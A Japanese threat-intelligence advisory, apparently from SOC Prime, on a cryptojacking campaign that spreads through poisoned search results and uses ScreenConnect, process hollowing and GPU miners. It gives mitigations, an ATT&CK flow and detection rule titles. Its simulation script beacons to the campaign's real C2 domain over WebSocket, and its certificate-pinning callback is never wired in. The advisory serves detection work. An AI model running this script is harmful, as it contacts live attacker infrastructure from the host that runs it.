SOC Prime Bias: 中程度

27 May 2026 15:46 UTC

毒された検索結果からGPUマイニングへ:ScreenConnectと.NETユーティリティを使用したクリプトジャッキングキャンペーン

Author Photo
SOC Prime Team linkedin icon フォローする
毒された検索結果からGPUマイニングへ:ScreenConnectと.NETユーティリティを使用したクリプトジャッキングキャンペーン
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

このキャンペーンは、SEOポイズニングと操作されたAIチャットボット検索結果を利用して、ユーザーを偽のハードウェアモニタリングツールをダウンロードさせるよう誘導します。トロイの木馬化されたインストーラーは、正規のアプリケーションにサイドロードされる悪意のあるDLLを運び、ひっそりとScreenConnectを展開します。攻撃者は次にScreenConnectを使ってカスタムRunPEドロッパーを起動し、Microsoft署名の.NETバイナリをホローアウトし、次の段階のペイロードを注入します。最終段階では、 gminer, lolMinerSRBMiner-MULTIをダウンロードし、スケジュールされたタスク、レジストリのRunキー、スタートアップショートカットを使用して永続性を維持します。このマルウェアは、検出の機会を減らすためにWindows Defenderの除外も追加します。

調査

Microsoft Defenderの研究者は、DLLサイドローディングの手法、リモート管理ツールとしてのScreenConnectの悪用、 SimpleRunPE.exeという名前のカスタムRunPEローダーの使用を含む、完全な感染チェーンをマッピングしました。分析者はScreenConnectのコマンドライン引数を回収し、プロセスホローイングに使用される署名された.NETバイナリのリストを特定し、ピン留めされたTLS証明書で保護されたコマンドアンドコントロールエンドポイントを文書化しました。また、キャンペーンに関連する悪意のあるドメイン、IPアドレス、DNSプロバイダの詳細などのサポートインフラストラクチャーも発見しました。

緩和策

ディフェンダーは、クラウド配信防御を有効にし、攻撃面削減ルールを適用し、信頼性、普及度、または年齢要件を満たさない実行可能ファイルをブロックし、Microsoft Defender for Endpointでウェブとネットワークの保護をオンにするべきです。例えば、ScreenConnectのようなリモート管理ツールは不要な場合無効化し、必要な場合でも厳密にコントロールされ、不正なスケジュールされたタスクと疑わしいレジストリRunエントリを監視するべきです。マルウェアによって追加されたWindows Defenderの除外は直ちに削除され、特定された悪意のあるドメインとIPアドレスをブロックするべきです。

対応

If RuntimeHost.exe or SimpleRunPE.exe が隠しキャッシュディレクトリから実行されていることが分かった場合、直ちに影響を受けたホストを隔離し、関連するScreenConnectセッションを終了し、スケジュールされたタスク、Runキー、スタートアップショートカットを含むすべての永続性メカニズムを削除します。ドメイン minemine.gleeze.com および観測されたIPアドレスをブロックし、列挙されたマイナーバイナリや autorun.dllを環境全体で追跡します。最後に、Defenderの保護を復元し、無許可の変更について除外設定を見直します。

graph TB %% クラス定義 classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% ノード action_initial_access[“<b>アクション</b> – <b>T1659 コンテンツインジェクション</b><br/>SEOポイズニングおよびAIチャットボットのリンクにより、ユーティリティを装った悪意あるZIPファイルが配布される。”] class action_initial_access action technique_event_trigger[“<b>技術</b> – <b>T1546.009 AppCert DLL</b><br/>正規ユーティリティの横に配置された autorun.dll が、ユーティリティ実行時に読み込まれる。”] class technique_event_trigger technique process_msiexec[“<b>プロセス</b> – msiexec.exe”] class process_msiexec process technique_dll_injection[“<b>技術</b> – <b>T1055.001 ダイナミックリンクライブラリインジェクション</b><br/>autorun.dll は msiexec を呼び出し、ScreenConnect インストーラを含む悪意ある vcredist_x64.dll をサイレントインストールする。”] class technique_dll_injection technique technique_proxy_execution[“<b>技術</b> – <b>T1218.007 Msiexec プロキシ実行</b><br/>msiexec が悪意あるインストーラを実行し、ScreenConnect クライアントを確立する。”] class technique_proxy_execution technique malware_screenconnect[“<b>マルウェア</b> – ScreenConnect クライアント”] class malware_screenconnect malware persistence_scheduled[“<b>永続化</b> – <b>T1543 スケジュールタスク</b><br/>「Windows System Health」などのタスクがマルウェアを再起動する。”] class persistence_scheduled persistence persistence_registry[“<b>永続化</b> – <b>T1037.001 ログオンスクリプト</b><br/>Registry Run キー (HKLM/HKCU\\Run\\WinSysCache) が追加される。”] class persistence_registry persistence persistence_startup[“<b>永続化</b> – <b>T1037.004 RC スクリプト</b><br/>Startup フォルダ内のショートカットが RuntimeHost.exe を指す。”] class persistence_startup persistence defense_exclusions[“<b>防御回避</b> – <b>T1564.012 ファイル/パス除外</b> & <b>T1564.010 プロセス引数スプーフィング</b><br/>Windows Defender にファイルおよびプロセスの除外設定を追加する。”] class defense_exclusions defense defense_impair[“<b>防御回避</b> – <b>T1562 防御機能の無効化</b><br/>除外設定を利用して AV 検出を回避する。”] class defense_impair defense defense_sandbox[“<b>防御回避</b> – <b>T1497 仮想化/サンドボックス回避</b><br/>ユーザー活動チェック (T1497.002) および時間ベース回避 (T1497.003) により、解析環境での実行を中止する。”] class defense_sandbox defense defense_codesign[“<b>防御回避</b> – <b>T1553.002 信頼制御の改ざん</b><br/>悪意あるコードが process hollowing を通じて Microsoft 署名済み .NET バイナリ内部で実行される。”] class defense_codesign defense privilege_hollowing[“<b>権限昇格</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE は正規の .NET バイナリを停止状態で起動し、payload を注入する。”] class privilege_hollowing privilege c2_websocket[“<b>コマンド&コントロール</b> – <b>T1102.002 Websocket</b><br/>TLS pinning を使用した暗号化 wss://minemine.gleeze.com:8443/ws 。”] class c2_websocket c2 discovery_info[“<b>探索</b> – <b>T1082 システム情報</b>, <b>T1592.001 ハードウェア</b>, <b>T1592.002 ソフトウェア</b><br/>CPU、GPU、RAM、OS バージョン、セキュリティ製品などを収集し、マイニング可能性を評価する。”] class discovery_info discovery %% フロー action_initial_access –>|つながる| technique_event_trigger technique_event_trigger –>|読み込む| process_msiexec process_msiexec –>|実行| technique_dll_injection technique_dll_injection –>|インストール| technique_proxy_execution technique_proxy_execution –>|インストール| malware_screenconnect malware_screenconnect –>|作成| persistence_scheduled malware_screenconnect –>|作成| persistence_registry malware_screenconnect –>|作成| persistence_startup malware_screenconnect –>|追加| defense_exclusions defense_exclusions –>|有効化| defense_impair defense_impair –>|支援| defense_sandbox defense_sandbox –>|サポート| defense_codesign defense_codesign –>|有効化| privilege_hollowing privilege_hollowing –>|確立| c2_websocket c2_websocket –>|受信| discovery_info

アタックフロー

検出

可能性のある持続性のポイント[ASEPs – ソフトウェア/NTUSERハイブ](registry_event経由)

SOC Prime Team
2026年5月27日

Schtasksが疑わしいディレクトリ/バイナリ/スクリプトを指しています(cmdline経由)

SOC Prime Team
2026年5月27日

代替リモートアクセス/管理ソフトウェア(process_creation経由)

SOC Prime Team
2026年5月27日

疑わしいCURL使用(cmdline経由)

SOC Prime Team
2026年5月27日

Powershellから疑わしい.NETメソッドを呼び出し(powershell経由)

SOC Prime Team
2026年5月27日

Windows Defenderの優先設定に不審な変更(powershell経由)

SOC Prime Team
2026年5月27日

可能性のある回避チェック(powershell経由)

SOC Prime Team
2026年5月27日

自動起動位置にある不審なバイナリ/スクリプト(file_event経由)

SOC Prime Team
2026年5月27日

IOC(HashSha256)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

IOC(SourceIP)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

IOC(DestinationIP)による検出: ScreenConnectとMicrosoft .NETユーティリティを悪用する暗号ジャックキャンペーンの毒された検索結果からGPUマイニングへの移行

SOC Prime AIルール
2026年5月27日

中身が空のバイナリからのC2通信[Windowsネットワーク接続]

SOC Prime AIルール
2026年5月27日

ScreenConnectとSimpleRunPEを通じた持続的なリモートアクセスとプロセスホローイング[Windowsプロセス生成]

SOC Prime AIルール
2026年5月27日

シミュレーション実行

前提条件: テレメトリとベースラインの事前フライトチェックが通過している必要があります。

根拠: このセクションでは、検出ルールをトリガーするために設計された敵技術(TTP)の正確な実行を詳細に説明します。コマンドおよび説明は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的とします。

  • 攻撃の物語とコマンド:
    攻撃者はすでに 中身が空の正規のバイナリ を被害者のマシンに配信しています。このバイナリは現在、 WebSocket を介した持続的なC2チャネルを wss://minemine.gleeze.com:8443/wsに開始しています。これをエミュレートするために、カスタムTLS証明書検証コールバックを設定するオプション(証明書ピン留めのシミュレーション)を備えた.NET ClientWebSocketを作成し、短期間接続を維持するPowerShellスクリプトを使用します。

  • 回帰テストスクリプト:

    # 中身が空のバイナリからC2通信をシミュレート
    # 要件: PowerShell 5+(.NET組み込みクラス)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # WebSocketクライアントの作成
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # オプション: 証明書ピン留め(特定の親指印のみを許可)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # placeholder
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "C2エンドポイント$c2Urlに接続中..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "接続確立済み。ビーコンペイロードを送信中..."
    
        # ダミーのビーコン(JSON)を送信
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # チャンネルを短期間開いたままに
    }
    finally {
        Write-Host "WebSocketを閉じています..."
        $ws.Abort()
    }
  • クリーンアップコマンド:

    # 残っているWebSocketプロセスが終了するように
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # テストに使用した一時ファイルをオプションで削除
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue